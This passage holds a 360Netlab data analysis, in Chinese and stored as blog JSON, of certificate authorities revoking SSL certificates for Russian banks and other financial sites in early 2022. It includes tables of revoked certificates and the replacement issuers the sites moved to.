2022-03-04 08:05:19
vonage.ru
5757ed730113c3dba2b72e9b91cac869901306cb
DigiCert Inc
financial/bank
DigiCert Inc
Mulit_certs
None
2022-03-04 19:48:24
*.vtb.ge
10be80e75a31324fb62e72400721a01fb6d74a49
DigiCert Inc
financial/bank
DigiCert Inc
Mulit_certs
None
2022-03-04 19:48:54
ivtb.ge
5a8b15c09ee02f8cbf453dc054531df249031e9c
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-04 22:07:50
138.9
2022-03-04 20:02:11
online.vostbank.ru
ae5dbf5b47fbf0e6f7c180696f73c26de83acb4b
DigiCert Inc
financial/bank
revoke_state
None
None
2022-03-04 20:02:24
vostbank.ru
3089301610a7d4f3d6af3410375860e7ac17c109
DigiCert Inc
financial/bank
Let's Encrypt
2022-03-10 06:22:00
619.6
2022-03-07 18:55:59
open.ru
e3d4bcbb295c4e2801c2652e5bbee37612db6757
Sectigo Limited
financial/bank
GlobalSign nv-sa
2022-03-04 14:37:19
1181.3
2022-03-07 18:56:00
*.urozhai.rshb.ru
9c2db763f9fbb10b02a325ee001200b09466df11
GoGetSSL
financial/bank
GlobalSign nv-sa
2022-03-08 11:52:19
1016.3
2022-03-07 18:56:01
business.rgsbank.ru
c4be431e66306ee421c830e3a84f0a1b1307ad7f
Sectigo Limited
financial/bank
Let's Encrypt
2022-03-09 10:11:12
915.2
2022-03-07 18:56:02
acs.rshb.ru
85de94c42a694d79a2aeea2a4c7cae381827ecb8
GoGetSSL
financial/bank
GlobalSign nv-sa
2022-03-09 08:48:16
832.2
2022-03-07 18:56:02
rshb.ru
8b9aff36b06a60ce3031947f2a370c859af8fb99
Sectigo Limited
financial/bank
GlobalSign nv-sa
2022-03-08 08:31:30
815.5
2022-03-07 18:56:04
online.rshb.ru
d027380e5c0a0ab27967e886bcfee70fef4f31bf
GoGetSSL
financial/bank
GlobalSign nv-sa
2022-03-08 08:31:30
815.4
2022-03-07 18:56:05
*.rshb.ru
dcf6fc810d4a66b7582ea01461ddc9ad5e209828
GoGetSSL
financial/bank
GlobalSign nv-sa
2022-03-08 08:31:30
815.4
2022-03-07 18:56:06
*.mes.rshb.ru
91fba72984fb02fa86690ab86cba991686feb89f
GoGetSSL
financial/bank
connect_error
None
None
2022-03-07 18:56:08
ecom.alfabank.ru
81d4da7893e9c2f7e0ce89361d856706d2ebbf54
Sectigo Limited
financial/bank
Let's Encrypt
2022-03-09 10:55:38
959.5
2022-03-07 18:56:08
*.sbud.rshb.ru
ad297055882cb67f39e1fd8155ad79335aa8706c
GoGetSSL
financial/bank
connect_error
None
None
2022-03-07 18:56:09
coins.rshb.ru
3c724fca6a93b4a793f58e539dc6420f3bada12a
GoGetSSL
financial/bank
GlobalSign nv-sa
2022-03-09 09:21:49
865.7
2022-03-07 18:56:09
ebs-bio.rshb.ru
06275cd5f4fb577f65084811edd9ceb8bddbe270
GoGetSSL
financial/bank
connect_error
None
None
2022-03-07 18:56:09
factoring.rshb.ru
19d403511413170b32609c23bce7a412d63b6bf1
GoGetSSL
financial/bank
GoGetSSL
2022-01-08 00:00:00
303.9
2022-03-07 18:56:09
finradar.rshb.ru
f45b8bbb777d7edd267c50aebf438a5d9bed6218
GoGetSSL
financial/bank
GlobalSign nv-sa
2022-03-14 14:55:32
1199.4
2022-03-07 18:56:09
lk.factoring.rshb.ru
517b298ccf43a18b55334929b268578ab65f8dfd
GoGetSSL
financial/bank
GoGetSSL
2022-02-01 00:00:00
303.9
2022-03-07 18:56:09
mx1.rshb.ru
6af4f13c7bad1eca2909a7ce73852c2c971eca59
Sectigo Limited
financial/bank
timed out
None
None
2022-03-07 18:56:09
mx2.rshb.ru
03c96fb7670b4d1e38e062e231cf6067e8d92632
Sectigo Limited
financial/bank
timed out
None
None
2022-03-07 18:56:09
rrdg.factoring.rshb.ru
6c765c5105719c9f0001e7dabf49acd81a6b8dc0
GoGetSSL
financial/bank
connect_error
None
None
2022-03-07 18:56:09
*.sbud.rshb.ru
3a41b87715bc4d4fe106aad7e6d78be7e50bb6aa
GoGetSSL
financial/bank
connect_error
None
None
2022-03-07 18:56:09
smx.rshb.ru
49ada6266390ab055b6d0f09593eae200377aaa3
Sectigo Limited
financial/bank
timed out
None
None
2022-03-07 18:56:09
travelergo.rshb.ru
a9edd5ac03f386d04ef4b853028bb1b7ec5c7fa5
GoGetSSL
financial/bank
connect_error
None
None
2022-03-07 18:56:09
travelerrf.rshb.ru
e7d5b471a3705abf7082124ce7fe3f859e238113
GoGetSSL
financial/bank
connect_error
None
None
2022-03-07 18:56:10
merchant-api.sbp.rshb.ru
5ab3718a93beda27f449b32b042473e69a6cb994
GoGetSSL
financial/bank
GlobalSign nv-sa
2022-03-08 11:55:47
1019.6
2022-03-07 18:56:10
mx1.rshb.ru
2288b60c7d3e48657985ce904d59a6fb46070971
Sectigo Limited
financial/bank
timed out
None
None
2022-03-07 18:56:10
*.plc.rshb.ru
097d0a314edbc0804996b31050cbe759ec8807ce
GoGetSSL
financial/bank
connect_error
None
None
2022-03-07 18:56:10
test07.rshb.ru
f4774d7c5dc4d566eb31785e475714a59f1d4ecb
Sectigo Limited
financial/bank
Sectigo Limited
2022-01-20 00:00:00
303.8
2022-03-07 18:56:10
xapi.factoring.rshb.ru
bdd72b1e18d71c3b11530c744b87529a01d60407
GoGetSSL
financial/bank
GoGetSSL
2022-02-01 00:00:00
303.8
2022-03-07 18:56:11
broker.rshb.ru
172a20e5fa0950478f0550971461a5b5724d5961
GoGetSSL
financial/bank
GlobalSign nv-sa
2022-03-08 15:17:48
1221.6
2022-03-07 18:56:11
*.crimearw.ru
9a8305c0f610a8ae6f6fd3a21c58b65521fad5ec
Sectigo Limited
state-enterprise
timed out
None
None
2022-03-07 18:56:11
quik.rshb.ru
af736621443bec16668533737afc2435fdd5bcbf
GoGetSSL
financial/bank
GlobalSign nv-sa
2022-03-08 15:06:56
1210.8
2022-03-11 19:26:00
sberinsur.ru
93b10cb245f35e7d2c9ecbba5c10d7b5adf0f778
Sectigo Limited
financial/bank
connect_error
None
None
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景\n当前这场始于2021的俄乌危机已经注定载入史册,不仅因为危机中的冲突会对传统政治地缘产生深远影响,也因为这些冲突历史性的全面蔓延到网络空间。我们(360Netlab)从独立采集到的数据出发,观察分析并呈现冲突中各利益相关方采取的行动和反制行动,希望有利于安全社区思考自身在网络空间中的定位、态度和行动。\n\n本文中的观察分析基于网络资产的SSL证书数据库CertDB,它是360Netlab 运营的网络空间基础数据之一,它采集了几乎全部活跃的网络空间中的网站证书。证书是整个现代webPKI系统的最核心的部分之一。如果说DNS数据标识了网络资产的地址,那么证书就是网络资产的身份证。丢失或者没有证书数据,就没有办法证明“我”就是“我”。因此作为互联网安全运营的基础数据,重要性不言而喻。\n\n>360Netlab同时运营着的网络空间基础数据库包括描述域名注册的WhoisDB、域名解析的PassiveDNS、网站页面的WebDB等等。这些基础数据库的条目以十亿或千亿为单位计,共同构成了用以描述全球网络空间变迁的DNSMon系统。\n>在CertDB的支持下,我们有足够坚实的数据基础来解读本次俄乌危机中俄罗斯网络空间中网站证书的变化情况。\n\n3月初,乌克兰政府向互联网域名管理机构ICANN书面请求将俄罗斯相关顶级域名“.ru”, “.рф” 和“.su”从互联网撤销[1],但ICANN并没有认同这份请求[2]。近日,我们注意到俄罗斯相关的一些国家基础设施网站的证书被证书机构陆续吊销。本文利用DNSMon的证书数据库,从数据角度来更准确的衡量这个现象在实际数据中的表现。\n\n## 数据筛选\n我们从DNSMon系统中筛选了如下条件的证书:\n 1. 在最近3个月活跃的\n 2. 非Let's Encrypt签发的\n 3. 证书主体国家是俄罗斯或者证书主体的CommonName的域名以.RU或者.SU[3]结尾\n 4. 非自签名或者其他不被认为是安全的证书\n通过以上方法,共计得到336,330个证书。\n\n> 证书以及以上证书筛选条件的说明:\n> * 如果证书超过3个月没有活跃,我们认为这些证书所承载的网站的业务已经停止或者极度小,证书即使被吊销的影响有限。\n> * Let's Encrypt签发的免费证书是现在证书数据的绝对大头。不过因为Let's Encrypt签发的是DV证书,并没有提供OV或者EV证书[5](关于证书级别本文后续有简要解释,读者也可自行搜索),所以重要机构和用户目前不会使用Let's Encrypt签发的证书。\n\n## 数据分析\n### 基本数据\n在 336,330个证书中:\n签发的国家(证书数据中签发者的国家信息)有近30个,从下图可以看出主要集中在美,英,奥地利,比利时和拉脱维亚,占比达到了97.6%。俄罗斯自身的证书签发机构占比只有0.2%左右:\n<img src=\"__GHOST_URL__/content/images/2022/03/----------1.png\" width=860px />\n\n\n在这些所有的证书里面,涉及到的签发的机构有50+,其中top5的签发机构签发的证书占总数的95.6%。如下图所示:\n<img src=\"__GHOST_URL__/content/images/2022/03/------------2.png\" width=860px />\n\n在靠前的六家签发机构中,我们考察了其上游证书提供商及所属国别:\n1. cPanel是一家美国的做web系统托管服务的公司,严格来说并不是CA厂商,不过它的证书是由comodo(已被如下排名第二的sectigo收购)签发的。\n2. Sectigo是美国专门做证书服务的公司,也是使用范围最广的CA之一。它既是根证书机构,也是面向最终消费者的中间证书机构。\n3. DigiCert是美国专业的证书服务公司。同Sectigo一样,也是使用范围最广的CA,既是根证书机构,也提供中间证书服务。\n4. GlobalSign是比利时的专业证书服务公司,后来被日本GMO集团收购。同样既是根证书机构,也提供中间证书服务。\n5. Zerossl是一家专门做SSL证书服务的位于奥地利的公司,不过其父公司被美国公司Idera收购,我们注意到该公司公告根据美国出口法规限制从2020年11月就不再给.ru的顶级域颁发证书了[11]。但从我们的数据来看,证书一直没有中断颁发,这其中尚不确定具体原因是什么。\n6. GoGetSSL是一家专门做SSL证书服务的位于拉脱维亚的中间证书提供商。是DigiCert的白金合作伙伴和Sectigo的战略合作伙伴,在证书撤销方面本文后续可以看到它和Sectigo具有一致行动性。\n\n如上,如果从中间证书的上游根证书所属国别来看,俄罗斯的证书签发机构所属的国家分布就变成了下图这样,即美国独自占85%,日本占12%。俄罗斯的选择余地实在很小。\n<img src = \"/content/images/2022/03/-----CA----.png\" width=860px />\n\n\n在这336,330个证书中,来自俄罗斯的签发机构只有如下3个并且它们都不是根证书机构,也就是说俄罗斯并没有全球公认的根CA:\n|name|upstream|upstrem_country|issued certficate number|\n|--- |--- | --- |-|\n|RU-Center (ЗАО Региональный Сетевой Информационный Центр)|The USERTRUST Network|US|530|\n|Yandex LLC|Unizeto Technologies S.A.|PL|192|\n|VTB BANK (PJSC)|GlobalSign|GB|27|\n\n> 证书相关小百科:根证书,中间证书\n> * 什么是根证书机构\n > 根证书是内置在浏览器或者操作系统中的可信证书文件,是整个PKI系统可信上诉链条的顶点,是PKI系统的锚点。全世界只有数量较少的根证书颁发机构。比如在[这里](https://ccadb-public.secure.force.com/mozilla/CACertificatesInFirefoxReport)firefox列出了其使用的跟证书列表,总共只有49个根证书机构,颁发了138个根证书。windows系统,macOS系统等也类似都有自己的根证书列表。\n> * 什么是中间证书机构\n > 根证书RootCA不会直接面向企业或者个人用户颁发证书。这些证书数量少,影响范围广,万一出现密钥泄漏,影响太大。所以为了保护根证书,CAs通常会颁发所谓的中间根。CA使用它的私钥对中间根签名,使它受到信任,即所谓中间CA(Intermediate CA)或者中间根。然后中间根使用中间证书的私钥签署和颁发终端用户SSL证书。这个过程可以执行多次,其中一个中间根对另一个中间根进行签名,然后CA使用该根对证书进行签名。这些链接,从根到中间到叶子,都是证书链。上面提到的俄罗斯的3个证书签发机构都是中间根。\n> 值得提的一点是中间证书机构尽管可以签发证书,不过其在运营策略上会受控于上游RootCA。\n\n\n### 吊销数据\n通过对整体数据进行分析,我们发现:\n1. 目前有265个证书被吊销,其中2022年吊销了228个。\n2. 从吊销时间上来看,主要集中在2022年的0228~0307这个段时间,这段时间共吊销了172个证书,占总数的64.9%。\n<img src = \"/content/images/2022/03/-----------.png\" width=860px />\n\n3. 我们查看了对应证书吊销列表文件(CRL)中对吊销证书的吊销原因,发现绝大部分(95%)都没有明确的原因。\n\n4. 从证书级别上来看,这次撤销的证书整体比较高,EV,OV的证书占比达到了84%。\n<img src = \"/content/images/2022/03/------.png\" width=860px />\n> 证书相关小百科:证书级别\n> * 目前主流的证书验证级别分为三种,分别是Domain Validated(DV), Organization Validation(OV)和Extended Validation(EV):\n> * DV验证是身份验证最少的SSL证书,即使是恶意程序也可以快速的轻松获取。这类证书主要用在个人网站,自媒体以及不包含个人敏感数据的网站。\n> * OV证书需要验证企业身份信息后颁发。OV SSL证书是当前最常见的证书类型,适用于行政、企业、科研、邮箱、论坛等各类大中型网站。\n> * EV顶级SSL证书,又称扩展验证型SSL证书。安全级别最高,验证审核最严格,网站部署EV SSL证书后,浏览器地址栏将变成绿色并显示企业名称。EV SSL证书一般应用于金融、银行、电商等安全需求较高的网站。\n> \n5. 这些被吊销的证书CA集中在少数几个CA上,总结情况如下:\n<img src = \"/content/images/2022/03/--RU---CA.png\" width=860px /> \n这其中排名前4的分别是:Digicert,GlobalSign nv-sa,GoGetSSL和Sectigo。\nDigiCert撤销了126个(占DigiCert签发的俄罗斯的证书总数的0.5%),占总撤销总数的47.54%,更是占了2022年之后撤销总数的55.26%左右。\n\n6. 我们将DigiCert,Globalsign nv-sa,GoGetSSL和Sectigo以及其他的涉及的CA拆分开,统计了其在小时级时间粒度上撤销证书的数量,见下图。<img src = \"/content/images/2022/03/------------CA-----.png\" width=860px />\n从图上看,在2022-02-28之前,每个CA吊销的证书数量还比较平稳,但从2.28 18:00之后,先是Globalsign nv-sa开始吊销了18个证书,接下来从21:00开始持续到3.1, DigiCert开始了其大量的吊销,最高达到每小时38个,接下来是GoGetSSL和Sectigo后两者在时间上有一致性。\n我们进一步拨开这些数据看一下,发现Globalsign nv-sa撤销的证书和其他三家CA有着显著的不同。\n* 首先是证书的域名不同。Globalsign的撤销的证书的域名是新注册的域名,并且子域名有着相似的特征(都包含有owa,audodiscovery,mail,www等子域),可能是某些特定业务的域名。而其他三家撤销的则是老域名(域名列表见本文后面)。\n<img src = \"/content/images/2022/03/globalsign_revoke_domains.jpg\" width=860px />\n\n* Globalsing撤销的证书的域名通过搜索引擎搜索发现其并非特定或者关键行业的域名,其他三家撤销的证书的域名则是绝大多数都涉及到银行,保险等金融行业,还有一个证书涉及铁路行业。\n\n考虑到证书吊销在时间上的集中性以及所属行业的特点,我们合理判断总数265个证书中的144个是因为对俄罗斯制裁所产生的。撤销涉及DigiCert,GoGetSSL和Sectigo三个证书签发机构。\n\n\n7. 被吊销之后域名使用的新的证书\n在被吊销之后,正常的业务访问会受限,比如浏览器会提示证书已经被吊销从而无法进一步访问业务。为了维持业务的正常运作,这些受影响的网站必须寻找替代的解决方案。因此我们考察了这些受影响网站是否启用了新的证书。如果启用了的话,是用的哪家,以及这个过程需要多长时间。 \n 经过我们统计之后发现受影响的俄罗斯金融机构大致有四种选择(详细信息见下表):\n * 原先有些单位本身就是中间根证书签发机构,这类单位现在使用的是自己单位签发的中间证书,其授权上游证书来自GlobalSign,因为有被浏览器承认的RootCA,所以这类证书使用起来没有问题。这类代表是俄罗斯外贸银行VTB集团。同类型的单位包括:VTB集团相关的所有域名。\n * 使用Let's Encrypt签发的证书。Let's Encrypt是美国的一家免费证书提供机构,但是其不能提供OV和EV类型的证书,并且其证书的有效期也比较短。使用这类证书在某种程度上是被迫对证书安全性做了降级。这类的代表是跟保险行业较为紧密相关的sovcomins.ru,以及俄罗斯农业银行rgsbank.ru等相关的域名。\n * 还有一类则从DigiCert切换到了 GlobalSign nv-sa 签发的证书。这类很好理解,弃用了DigiCert,转用了GlobalSign,业务暂时也不受影响。比如俄罗斯联邦中央银行crb.ru,以及部分rgsbank.ru的域名,open.ru的域名等.\n * 还有少数金融机构比如vostbank.ru,vtbindia.com,psbinvest.ru等域名还在使用被吊销的证书,没有采取任何动作。目前访问的话,会提示证书被吊销,业务受到了影响。比如vtb印度的网站就会被chrome提示证书已经撤销,无法继续进行访问:\n<img src = \"/content/images/2022/03/vtbindia_chrome_revoke-2.png\" widht=860px />\n\n8. 证书切换对业务的影响\n我们调查了这些受影响的域名在证书吊销之后启用新的证书之前,到底花了多长时间。从我们获取的数据来看,平均要花711分钟,也就是接近12个小时才能完成证书的切换。其中最快的用了109分钟(1.8小时),最慢的则用了1346分钟(22.4小时)。\n<img src = \"/content/images/2022/03/------------.png\" width=860px />\n\n同时我们也对比了新证书的级别和老证书的级别发现:\n```\n * 53%的网站的证书出现了降级\n * 45%的网站证书级别保持不变\n * 2%的网站证书级别进行了提升\n```\n\n#### 被吊销证书的列表\n从2022-02-28之后在2022-03-11之前吊销和俄乌危机所引发的制裁相关的证书,涉及到DigiCert,Sectigo和GoGetSSL三个证书提供商,共包含144个证书。详细的证书列表见本文最后。\n\n\n## 签发机构的态度和俄罗斯的动作\n根据目前的消息[7], Sectigo和DigiCert已经开始限制来自俄罗斯和白俄罗斯的业务。所以如果俄罗斯没有自己的证书签发机构和对应的可信RootCA的话,并且同时面对经济制裁的情况下,通用的付费方法可能也无法进行支付。所以即使目前的证书不吊销,现有证书过期之后仍然面临无证书可用的尴尬境地。\n\n为了解决这个问题,俄罗斯推出了自己的CA:www.gosuslugi.ru [8]\n<img src = \"/content/images/2022/03/russia_own_CA.png\" width=860px />\n\n但即便俄罗斯做了如此举动,仍然无法绕过一个核心问题,RootCA如果需要被广泛的用户终端/基础软件缺省内置是需要经过一系列庞杂繁琐的流程。在俄罗斯被广泛制裁的前提下,这个RootCA被外界广泛承认的可能性是0。比如从浏览器的角度来说,常见的chrome,Firefox,IE,opera等不支持此根,这个根的意义形同虚设。\n\n值得提的一点是 www.gosuslugi.ru 自身使用的证书仍然是来自于Sectigo的签发。\n\n目前网上流传着一份据说是俄官方的名单,要求198个重点域名使用这个CA[9]。我们注意到这这个列表里面的6个域名(二级域)已经是在我们这次看到的吊销的域名里面。\n\n\n## 基本结论\n目前来看,本文得到了如下的几个结论:\n1. 受影响的网站比例并不高,被撤销的证书约为俄罗斯在用证书的0.04%左右;\n2. 受影响的行业主要集中在银行及金融相关的行业,可能会对相关企业的客户带来一定程度的混乱,尤其是尚未部署新证书的业务;\n3. 证书的主要撤销者是DigiCert,接下来是Sectigo和GoGetSSL。\n\n\n## 参考资料\n1. https://pastebin.com/DLbmYahS \n2. https://www.icann.org/en/system/files/correspondence/marby-to-fedorov-02mar22-en.pdf\n3. https://www.iana.org/domains/root/db/su.html\n4. https://thehackernews.com/2020/09/ssl-tls-certificate-validity-398.html\n5. https://letsencrypt.org/docs/faq/\n6. https://en.wikipedia.org/wiki/Certificate_authority\n7. https://www.gogetssl.com/news/27.html\n8. https://www.gosuslugi.ru/tls\n9. https://www.documentcloud.org/documents/21408455-tls_list2?responsive=1&title=1\n10. https://www.bleepingcomputer.com/news/security/russia-creates-its-own-tls-certificate-authority-to-bypass-sanctions/\n11. https://help.zerossl.com/hc/en-us/articles/360060119833-Restricted-Countries\n\n## 证书吊销列表\n|revoke_time|subject_CommonName|sha1|issuer_O|industry|new_cert_issuer|new_cert_issuer_time|gap_time|\n|-|-|-|-|-|-|-|-|\n2022-02-28 21:17:23|ibank.mmbank.ru|0e2574eee86f03bad8737975c8e8c6b0cb4d86bf|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 13:07:02|949.6\n2022-02-28 21:17:43|*.bvb.by|747347ce6f5206d4abe44984beb222faf621fc5b|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-02-28 22:02:32|3dsp.vtb.ru|1ff80de2b0a83fadca20512c77625a38862a1701|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 08:46:09|643.6\n2022-02-28 22:06:28|3dsp2.vtb.ru|95af9277b6ed216dc0734cd1e2c79253dc158c18|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 08:46:15|639.8\n2022-02-28 22:06:38|*.vtbf.ru|11aa6e2bf223fcc4aa83ef40fc40c563d89fca1a|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-09 08:22:51|616.2\n2022-02-28 22:08:33|*.customscard.ru|db4a27987a5cedfcbf4cd78144a74e2980061d00|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-01 07:56:57|588.4\n2022-02-28 22:10:57|online.customscard.ru|82aa023ce89f3ea2406e3721dc77ecc829445537|DigiCert Inc|financial/bank|ZeroSSL|2022-03-01 00:00:00|109.0\n2022-02-28 22:55:15|*.cbr.ru|23280fa352673271c377dec3041dee535095eb19|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-01 10:16:07|680.9\n2022-02-28 22:55:30|*.cbr.ru|7aafcfc6c359f1184b686a2f57d5100f7280ede5|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-01 10:16:07|680.6\n2022-02-28 23:02:21|rgsbank.ru|f9756126c514426771c1ee2280fcc670659d158d|DigiCert Inc|financial/bank|Let's Encrypt|2022-03-10 11:37:45|755.4\n2022-02-28 23:08:44|open.ru|c2b40abb6e79744796d65887cc782f3e6aa4310b|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-04 14:37:19|928.6\n2022-03-01 00:12:35|smtp1.open.ru|905ee42c2722e5e1659e8896f656e52b2e62e622|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-04 14:37:19|928.6\n2022-03-01 00:13:34|mc.vtb.ru|bde9131020e014bbd71d7048ba2fe2ea1c7d060d|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 11:56:07|702.5\n2022-03-01 00:13:39|ipoteka.vtb.ru|37f4bc7254c469b0e8d3698aa299bc346bd9d567|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 10:01:08|587.5\n2022-03-01 00:13:49|*.vtb.ru|29ffe2f41fc0cdbac7addaf74f27804734f00662|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 10:01:08|587.5\n2022-03-01 00:14:47|mob.vtb.ru|314daea50add8da4289367b4653fccf7d0bead0f|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 10:01:08|587.5\n2022-03-01 00:15:18|dachatbot.vtb.ru|393e42d01f8bf9aa5c2986fc27bf82ab731fc7fb|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-04 07:31:08|435.8\n2022-03-01 00:16:40|lk.olb.ru|2b6186e5471cb85d0b2b446f4357576baf1f7630|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-04 07:31:08|435.8\n2022-03-01 00:16:45|dbo.vtb.ru|9d5aa3fe0690d19de24629226f23abefdf93414b|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 11:51:07|694.4\n2022-03-01 00:16:49|idemo.vtb.ru|9ef7ab4ed17786ea152f1a152e2c347c8c4abe20|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 11:56:14|699.4\n2022-03-01 00:16:54|webquik.vtb.ru|4c192c7bcb57ff52993fd71bdd688e1a55880ee9|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 19:41:07|1164.2\n2022-03-01 00:17:11|komission.vtb.ru|b9761633e595a6ca9eb651adb38601fc7871a753|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 20:41:07|1223.9\n2022-03-01 00:17:29|epa.api.vtb.ru|a0a6c1ba28fd7d70a306cace89a15230d3a14ebf|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 20:41:07|1223.9\n2022-03-01 00:17:44|mail.vtbstrana.ru|3d2b0ee0665bfeddf1ccf7194cd8968097b3d55b|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 15:41:15|923.5\n2022-03-01 00:17:48|mail.vtb.com|e8d152170944f18b74e0895fb40c43e60de1b757|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 10:11:07|593.3\n2022-03-01 00:17:55|db.vtb.ru|4af34f0f8ed1bb975b3ff3842131cc4a9c3331d3|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 11:16:07|658.2\n2022-03-01 00:18:37|mx101.vtb.ru|5a7170b3966d23634024b31fe4b373cf435cbd1b|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 11:16:07|658.2\n2022-03-01 00:18:41|mx102.vtb.ru|3df103b57e5f392c71df6f303e4777b9839596ec|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 11:16:07|658.2\n2022-03-01 00:18:46|mx201.vtb.ru|4dac367f4357fc8e85a69105d9a73e716a465e7c|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 11:16:07|658.2\n2022-03-01 00:18:57|mx202.vtb.ru|5144a93d057eafbcd85bc24e52ecef9235ea1f27|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 11:16:07|658.2\n2022-03-01 00:19:39|*.vtbbo.ru|9ec889fb87ba7df2a5d9f670253175db3f6d1f2f|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 15:56:15|936.6\n2022-03-01 00:19:55|vtbbo.ru|459c6cf187b637ddaf7315b0437adb3fc4fdf430|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 15:56:15|936.6\n2022-03-01 00:23:51|cl.vtb.ru|86d51be25b4cea05a351cbd7cf99d69b21f0a540|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 19:26:09|1142.3\n2022-03-01 00:24:10|mb-partner.bm.ru|b8b4490db23d10416b0d7b8bbdfd4cb00e375904|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-02 17:21:18|1017.1\n2022-03-01 00:24:42|ipoteka-online.vtb.ru|b4968f1c438b6054603f07e0f491b36ca1d5ee37|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 09:56:11|571.5\n2022-03-01 00:24:53|vtbrussia.ru|24eb584f1e1e27c86bfa12eacf9867bdd5760dff|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-01 00:25:10|Sbc-proxy.vtb.ru|0867b10049bf1e005647befb83ee1bb96e846a04|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-03 08:41:14|496.1\n2022-03-01 00:27:40|bo.vtb.ru|d40c4b34b82519deb6ca811ecd4eea02ddedf8e5|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 10:41:08|613.5\n2022-03-01 00:28:04|vb.vtb.ru|7a3df1ce19a88f71741a5f176ded585fe9efa688|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-03 20:06:07|1178.0\n2022-03-01 00:28:14|data-fusion.ru|b571526a75cc3141abd0e928e8df358914326071|DigiCert Inc|financial/bank|VTB BANK (PJSC)|Mulit_certs|None\n2022-03-01 00:34:54|vtbindia.com|e7dfeda2ad46f54335b0da72aacc9dc9d02539f7|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-01 00:35:49|acquiring.vtb.ru|b5447f597aaf078a7cadae3b22d9a88658fa4a47|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-16 08:16:07|460.3\n2022-03-01 00:36:06|www.vtb.com|5573f1f57aedf665e6c3da73f702e8b81a8d160c|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-16 08:16:07|460.3\n2022-03-01 00:36:21|lk.vtb.ru|58295cf4e89be3be322474dc0028d129d94617aa|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-16 08:16:07|460.3\n2022-03-01 00:36:27|crm.vtb.ru|0f88adf4ab1b3599d3b60e4cc3887a44bf3078a8|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-01 00:36:52|mobi1.vtb24.ru|c2ac9dc39ea9e9c7fa276a02b379995301751f9b|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 20:46:07|1209.2\n2022-03-01 00:39:21|*.zapsibkombank.ru|8f22318ed13d74026e621796ddae0fd5491ef05e|DigiCert Inc|financial/bank|VTB BANK (PJSC)|2022-03-01 20:46:07|1209.2\n2022-03-01 00:39:26|newbusiness.psbank.ru|49332bdaeb5270f425b5d6245e72806c40bc14dc|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-01 13:56:11|796.8\n2022-03-01 00:39:41|*.exiar.ru|f9b9ea6d9e4a66ce1431d7d8a8f526a1ad67229b|DigiCert Inc|financial/bank|connect_error|None|None\n2022-03-01 01:27:31|*.psbank.ru|7c68142b2cdd1630223055ddc86ae20b303a31a7|DigiCert Inc|financial/bank|timed out|None|None\n2022-03-01 01:31:28|psbinvest.ru|9f1398b5b7c9692b42b693523873aa8955c7dccf|DigiCert Inc|financial/bank|revoke_state|None|None\n2022-03-01 01:32:23|*.payment.ru|d7ec65409697d900acc5af14d1e49a48686f2da2|DigiCert Inc|financial/bank|connect_error|None|None\n2022-03-01 01:33:04|ib.psbank.ru|9e171b1269ae6defa889bfe4aee007435688ac57|DigiCert Inc|financial/bank|DigiCert Inc|2020-03-16 00:00:00|1346.9\n2022-03-01 01:33:08|*.exportcenter.ru|8fd06cdae2dee7357c2453e2747f93717165679d|DigiCert Inc|financial/bank|connect_error|None|None\n2022-03-01 01:33:41|*.round.ru|f25d7f41847e1728d358df6b03072feddafc3e50|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-03 11:53:00|619.3\n2022-03-01 01:34:16|online.rgsbank.ru|7d15927eedff53fb2255a32ac61ec4fd2a322b03|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-08 07:27:59|353.7\n2022-03-01 01:34:21|ib.rgsbank.ru|5e20dc4665c1ff3c32ffe6a8d9b0dc73a83ba11e|DigiCert Inc|financial/bank|GlobalSign nv-sa|2022-03-03 11:57:03|622.7\n2022-03-01 01:34:39|*.veb-leasing.ru|3594e8d133ee4b40dbe422f57488a31c4f0a6045|DigiCert 